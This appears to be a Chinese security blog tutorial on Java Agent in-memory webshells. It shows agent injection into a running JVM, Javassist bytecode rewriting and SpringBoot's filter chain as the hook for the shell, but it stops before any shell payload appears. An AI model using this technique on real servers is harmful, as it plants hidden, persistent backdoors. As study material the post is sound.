March 2, 2023

Agent内存马剖析

为什么Agent内存马我单独开了一篇文章呢?因为我认为Agent内存马可能是最好玩的一个内存马了,他可以注入正在运行的进程当中,这杀伤力就很大,并且也是打算将这篇文章作为内存马的收尾之作,到这里内存马基础知识就应该是研究完毕了ORZ,谢谢各位师傅的文章,给我参考学习

什么是Java Agent?

我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?
对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图
premain-agent

agentmain-agent

Premain-agent

我们用一个例子来演示agentmain-agent和premain-agent两种方法是如何作用的:
首先准备一个premain-agnet:

1
2
3
4
5
6
7
8
9
10
11
package com.example.echoshell.agents;

import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}

之后再准备一个目标进程:

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

随后将premain-agent类打为jar包,这里打jar包还有点讲究呢,有2中方法,分别可以参考:

我选择的是后者,首先在resource目录下创建META-INF目录,再在里面创建MANIFEST.MF文件,内容为(最后必须有个换行):

1
2
3
Manifest-Version: 1.0
Premain-Class: com.boogipop.agent.Java_Agent_premain

之后修改pom文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>

将这一段添加进去,之后运行maven的assembly:assembly命令打包(该命令是自定义打包,会识别MF文件,package则不会):
image.png
获取2个jar包,我们需要的是第二个,随后我们设置VM-OPTIONS(最大的坑),这个vm-options在新版UI里默认是隐藏了起来的,所以你要把他打开,否则你很容易把它和变量列表搞混:
加上-javaagent:E:\CTFLearning\Java\agentdemo\target\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar
image.png
之后运行我们的主类Hello即可发现:
image.png
这是不是和spring的aop有点像呢哈哈哈

Agentmain-agent

premain-agent只能在类加载前去插入,而agentmain可以在已经运行的jvm去插入方法

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
public static void main(String[] args) {

//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("get_PID"))
System.out.println(vmd.id());
}

}
}

下面我们就来实现一个agentmain-Agent。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM

1
2
3
4
5
6
7
8
9
10
import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

编写agentmain-agent,并且和之前一样,将其打为jar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.boogipop.agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Agent_Main {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

MF文件内容为:

1
2
3
Manifest-Version: 1.0
Agent-Class: com.boogipop.agent.Agent_Main

最后准备一个Inject类,将我们的agent-main注入目标JVM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.boogipop.agent;
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.boogipop.agent.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\CTFLearning\\Java\\agentdemo\\target\\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

先运行目标JVM,再运行inject类进行注入,最后结果如下,一开始是只输出hello,world的,运行inject之后就插入了agent-main方法:
image.png

Agentmain-Instrumentation

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

其在Java中是一个接口,常用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);


//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;



//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

获取目标JVM已加载类

下面我们简单实现一个能够获取目标JVM已加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.boogipop.agent;

import java.lang.instrument.Instrumentation;

public class Agentmain_Instrument {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
Class [] classes = inst.getAllLoadedClasses();

for(Class cls : classes){
System.out.println("------------------------------------------");
System.out.println("加载类: "+cls.getName());
System.out.println("是否可被修改: "+inst.isModifiableClass(cls));
}
}
}

步骤还是和上面Agentmain-agent一样,首先把这个打成jar包,并且记得改一下MF文件中agent-mainclass:

1
2
3
Manifest-Version: 1.0
Agent-Class: com.boogipop.agent.Agentmain_Instrument

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Hello World!
Hello World!
------------------------------------------
加载类: java.util.ResourceBundle$ResourceBundleProviderHelper$$Lambda$17/0x0000000800065c40
是否可被修改: false
------------------------------------------
加载类: sun.util.locale.provider.JRELocaleProviderAdapter$$Lambda$16/0x0000000800065840
是否可被修改: false
------------------------------------------
加载类: sun.util.locale.provider.JRELocaleProviderAdapter$$Lambda$15/0x0000000800066440
是否可被修改: false
------------------------------------------
加载类: sun.util.cldr.CLDRLocaleProviderAdapter$$Lambda$14/0x0000000800066040
是否可被修改: false
------------------------------------------
加载类: sun.util.resources.provider.NonBaseLocaleDataMetaInfo
是否可被修改: true
------------------------------------------
加载类: sun.util.resources.cldr.provider.CLDRLocaleDataMetaInfo
是否可被修改: true
------------------------------------------
加载类: com.boogipop.agent.Agentmain_Instrument
是否可被修改: true
------------------------------------------
加载类: com.boogipop.agent.Sleep_Hello
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$1
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$Agent
是否可被修改: true
------------------------------------------
加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$13/0x0000000800063440
是否可被修改: false
------------------------------------------
加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$12/0x0000000800063040
是否可被修改: false
------------------------------------------
加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$11/0x0000000800062c40
是否可被修改: false
------------------------------------------
加载类: java.util.stream.FindOps$FindSink$OfRef$$Lambda$10/0x0000000800062840
是否可被修改: false
------------------------------------------
加载类: jdk.internal.module.DefaultRoots$$Lambda$9/0x0000000800062440
是否可被修改: false
------------------------------------------
加载类: java.util.stream.Collectors$$Lambda$8/0x0000000800062040
是否可被修改: false
..................................

addTransformer

image.png
这方法上面也说过了:增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,Transformer 可以对未加载的类进行拦截,同时也可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。ClassFileTransformer是一个接口,该接口里只有一个方法,返回一个bytes数组:
image.png
也就是说我们注入的对象需要实现这个接口

  • 使用Instrumentation.addTransformer()来加载一个转换器。
  • 转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。
  • 对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用
  • ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

其实简而言之,这个方法就是让我们可以动态的修改已经加载和没加载的类,达到动态修改字节码的目的
当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。

转换将按以下顺序应用:

短小精悍的Javassits同学

使用Javassits创建类

都知道java中class文件是以字节码形式存在的,而javassists工具可以帮我们创建字节码,修改字节码(修改类的方法,属性……),并且从字节码中实例化出对象,是一款十分便利的工具,接下来就详细的来讲讲javassists的用法
首先导入一下依赖:

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

我们直接分析一个用javassists创建class文件的Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.boogipop.javassit;

import javassist.*;

/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class javassistsDemo {

/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();

// 1. 创建一个空类
CtClass cc = pool.makeClass("com.boogipop.javassit.Person");

// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));

// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));

// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);

// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);

// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);

//这里会将这个创建的类对象编译为.class文件
cc.writeFile("E:\\CTFLearning\\Java\\agentdemo\\");
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

运行上述程序后,会在指定目录创建出Person.class文件:
image.png

步骤分析

首先ClassPool对象是Ctclass的容器,在使用时,首先创建容器pool,再在pool中创建Ctclass,对其进行自定义修改操作,结束后将其保存在容器中,方便我们之后取出,CtClass对应的实际上就是class文件
需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API中给出的解决方案是 有意识的调用CtClass的detach()方法以释放内存。

ClassPool需要关注的方法:

  1. getDefault : 返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool;
  2. appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
  3. toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
  4. get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑。

CtClass需要关注的方法:

  1. freeze : 冻结一个类,使其不可修改;
  2. isFrozen : 判断一个类是否已被冻结;
  3. prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
  4. defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
  5. detach : 将该class从ClassPool中删除;
  6. writeFile : 根据CtClass生成 .class 文件;
  7. toClass : 通过类加载器加载该CtClass。

上面我们创建一个新的方法使用了CtMethod类。CtMthod代表类中的某个方法,可以通过CtClass提供的API获取或者CtNewMethod新建,通过CtMethod对象可以实现对方法的修改。
CtMethod中的一些重要方法:

  1. insertBefore : 在方法的起始位置插入代码;
  2. insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
  3. insertAt : 在指定的位置插入代码;
  4. setBody : 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
  5. make : 创建一个新的方法。

注意到在上面代码中的:setBody()的时候我们使用了一些符号:
image.png
这里面的$0,$1,$2表示的是方法的形参,按照索引进行排序

调用生成的class文件

一、通过反射方式调用

将上述的代码修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.boogipop.javassit;

import javassist.*;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class javassistsDemo {

/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();

// 1. 创建一个空类
CtClass cc = pool.makeClass("com.boogipop.javassit.Person");

// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));

// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));

// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);

// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);

// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);
Object person = cc.toClass().newInstance();
// 设置值
Method setName = person.getClass().getDeclaredMethod("setName", String.class);
// 触发
setName.invoke(person,"Boogipop");
// 获取值
Method printName = person.getClass().getDeclaredMethod("printName");
// 触发
printName.invoke(person);

}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

直接toClass加载它,然后newinstance获取实例化对象,最后反射调用方法:
image.png
成功的输出了名字,说明调用成功

二、通过.class文件调用

将代码修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.boogipop.javassit;

import javassist.*;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class javassistsDemo {

/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {

ClassPool pool = ClassPool.getDefault();
// 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬
pool.appendClassPath("E:\\CTFLearning\\Java\\agentdemo\\");
//获取Person的class对象
CtClass ctClass = pool.get("com.boogipop.javassit.Person");
Object person = ctClass.toClass().newInstance();
// ...... 下面和通过反射的方式一样去使用
// 设置值
Method setName = person.getClass().getDeclaredMethod("setName", String.class);
// 触发
setName.invoke(person,"Boogipop");
// 获取值
Method printName = person.getClass().getDeclaredMethod("printName");
// 触发
printName.invoke(person);

}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

image.png
依旧可以成功调用,这种方法先设置了类的加载路径,再实例化这个类,剩下的操作也是反射调用方法

三、通过接口的方式

可以根据Person类的方法创建一个接口,然后实例化的时候向上转型,之后就可以直接调用方法了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.boogipop.javassit;

import javassist.*;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

/**
* @author rickiyang
* @date 2019-08-06
* @Desc
*/
public class javassistsDemo {

/**
* 创建一个Person 对象
*
* @throws Exception
*/
public static void createPseson() throws Exception {

ClassPool pool = ClassPool.getDefault();
// 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬
pool.appendClassPath("E:\\CTFLearning\\Java\\agentdemo\\");
//获取Person的class对象
CtClass ctClass = pool.get("com.boogipop.javassit.Person");
CtClass ctClassI = pool.get("com.boogipop.javassit.PersonI");
// 使代码生成的类,实现 PersonI 接口
ctClass.setInterfaces(new CtClass[]{ctClassI});
PersonI person = (PersonI) ctClass.toClass().newInstance();
person.setName("阿良良木历");
person.printName();

}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

分别用pool.get去获取两个类的class,再设置Person的接口为PersonI,最后向上转型,调用子类重写的方法:
image.png

修改已加载类的字节码

经过了上面那么多的铺垫,终于来到了本章的重点,没错,就是修改字节码(废话那么多)
修改已经加载的字节码主要是通过addTransformer retransformClasses这两个方法,一个是添加一个转换器,另外的是重新加载该类,也就是更新
我们准备一个目标JVM,依然是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.boogipop.agent;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void hello(){
System.out.println("hello world");
}
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(5000);
}
}
}

再准备我们的AgentMain,写好后记得把他打成Jar包,这里有个深坑,就是可能会出现报错com.sun.tools.attach.AgentInitializationException: Agent JAR loaded but agent failed to initialize
这个是MF文件中没有开启重新加载类造成的:

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: com.boogipop.agent.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.boogipop.agent;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("com.boogipop.agent.Sleep_Hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

再创建transform类,也就是创建一个转换器,在这里是我们的主要逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.boogipop.agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("com.boogipop.agent.Sleep_Hello");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

这里需要实现ClassFileTransformer接口,这个在上面也说了
最后准备我们的Inject类进行注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.boogipop.agent;



import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.boogipop.agent.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\CTFLearning\\Java\\agentdemo\\target\\agentdemo-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

然后就大功告成了:
image.png

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Agent内存马同学~

飒飒,做了那么多的铺垫,终于要分析如何取创造我们的Agent内存马,可以看得出来这是一位很调皮的同学,灵活程度拉满了,那么我们先分析一下SpringBoot启动时的调用栈(这个我已经调试了N遍了,在tomcat回显技术也好,spring内存马也好),都是从启动顺序开始分析的,通过这些东西也是对SpringBoot有比较深刻的印象

SpringBoot中的InternalDofilter链

我们起一个SpringBoot程序,然后随便在一个controller下一个断点,观察一下启动时的一条责任链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
test:12, Normal (com.example.echoshell.controller)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

在调用栈中根据责任链机制,存在一个反复调用InternalDoFilter的链internalDoFilter->doFilter->service,可以看到SpringBoot在处理请求时会不断调用internalDoFilter这个方法,那么结合上面所学知识,我们只要动态修改internalDoFilter或者是DoFilter,是不是就可以注入Agent的内存马了?
而且这两个方法中都有request和response,拿来回显在适合不过:
image.pngimage.png

利用Agent实现SpringBoot Filter内存马

我们将上面的TransFormer转换器拿下来修改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.boogipop.echoshell.agents;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
